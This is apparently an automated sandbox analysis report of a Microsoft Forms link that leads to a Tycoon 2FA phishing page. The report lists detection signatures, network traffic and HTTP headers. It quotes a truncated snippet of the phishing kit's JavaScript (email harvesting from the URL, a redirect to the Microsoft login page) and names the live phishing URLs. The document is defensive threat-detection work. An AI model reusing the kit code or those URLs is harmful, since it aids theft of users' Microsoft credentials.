Edit tour

Windows Analysis Report
https://forms.office.com/e/UGN9kJGkPb

Overview

General Information

Sample URL:	https://forms.office.com/e/UGN9kJGkPb
Analysis ID:	1670933
Infos:

Detection

Tycoon2FA

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected AntiDebug via timestamp check

Yara detected Tycoon 2FA PaaS

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

×

Process Tree

System is w10x64_ra

chrome.exe (PID: 6072 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2340 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1956,i,2677809220519001623,3696066424040775625,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6676 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://forms.office.com/e/UGN9kJGkPb" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
2.29.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.33..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.33..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.35.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
2.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
Click to see the 1 entries

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• Phishing
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'pub-28a12700d4f7494a819553d19a1c20f0.r2.dev' does not match the legitimate domain 'microsoft.com'., The domain 'r2.dev' is not associated with Microsoft and appears to be a generic or cloud service domain., The presence of a long alphanumeric string in the subdomain is suspicious and often used in phishing attempts., The URL does not contain any direct reference to Microsoft, which is unusual for a legitimate Microsoft page. DOM: 2.3.pages.csv

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.35.d.script.csv, type: HTML
Source: Yara match	File source: 2.33..script.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Source: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html

HTTP Parser: Number of links: 0

Source: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html

HTTP Parser: Title: Account Access Safety does not match URL

Source: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html

HTTP Parser: var otherweburl = "";var websitenames = ["godaddy","okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "zuceun";var emailcheck = window.location.search.substring(1);function isbase64(str) { try { return btoa(atob(str)) === str; } catch (e) { return false; }}if (isbase64(emailcheck)) { emailcheck = atob(emailcheck);}var webname = "rtrim(/web9/, '/')";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "https://login.microsoftonline.com/common/sas/processauth";var useragent = navigator.useragent;var browsername;v...

Source: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html

HTTP Parser: <input type="password" .../> found

Source: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html

HTTP Parser: No favicon

Source: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html

HTTP Parser: No <meta name="author".. found

Source: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.69.4:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.125.62.241:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.125.62.241:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.220.73.79:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.220.73.78:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.16:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.16:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.4:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.16:49785 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 38MB

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 192.178.49.195
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.73.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.73.19

Source: global traffic	HTTP traffic detected: GET /e/UGN9kJGkPb HTTP/1.1Host: forms.office.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturl HTTP/1.1Host: forms.office.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /formapi/api/268ddfe8-92cb-459a-bf4f-836f12034474/users/2822c053-d9b2-4568-81dd-00c15bc7e17f/light/runtimeFormsWithResponses('6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u')?$expand=questions($expand=choices)&$top=1 HTTP/1.1Host: forms.office.comConnection: keep-aliveX-UserSessionId: 66ccb79f-67b7-4065-93d9-a63cab2041cdsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/jsonsec-ch-ua-mobile: ?0__RequestVerificationToken: pD0RLjAxpk6xfMlF6Q4wM6bZ0eK6crVQM35f8vlNrIMdvpWqNSjf9sV70xk2WZk410lgZZ-FfCCkhD0rFyStWrl3IcXu9kUFCPWUHQN5Zxc1Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/scripts/dists/ls-response.en-us.b26195a5d.js HTTP/1.1Host: forms.office.comConnection: keep-aliveOrigin: https://forms.office.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/scripts/dists/dll-dompurify.min.ea88d58.js HTTP/1.1Host: forms.office.comConnection: keep-aliveOrigin: https://forms.office.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/scripts/dists/light-response-page.min.51bd76c.js HTTP/1.1Host: forms.office.comConnection: keep-aliveOrigin: https://forms.office.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /formapi/api/268ddfe8-92cb-459a-bf4f-836f12034474/users/2822c053-d9b2-4568-81dd-00c15bc7e17f/light/runtimeFormsWithResponses('6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u')?$expand=questions($expand=choices)&$top=1 HTTP/1.1Host: forms.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/scripts/dists/light-response-page.chunk.lrp_ext.24a3c2f.js HTTP/1.1Host: forms.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/scripts/dists/light-response-page.chunk.lrp_saveresponse.24ff7fd.js HTTP/1.1Host: forms.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/scripts/dists/light-response-page.chunk.lrp_cover.6fd2646.js HTTP/1.1Host: forms.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/scripts/dists/light-response-page.chunk.lrp_post.boot.5a4aa08.js HTTP/1.1Host: forms.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/scripts/dists/light-response-page.chunk.sw.a912249.js HTTP/1.1Host: forms.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/images/microsoft365logo_v1.png HTTP/1.1Host: forms.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/scripts/dists/light-response-page.chunk.utel.fa097bf.js HTTP/1.1Host: forms.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
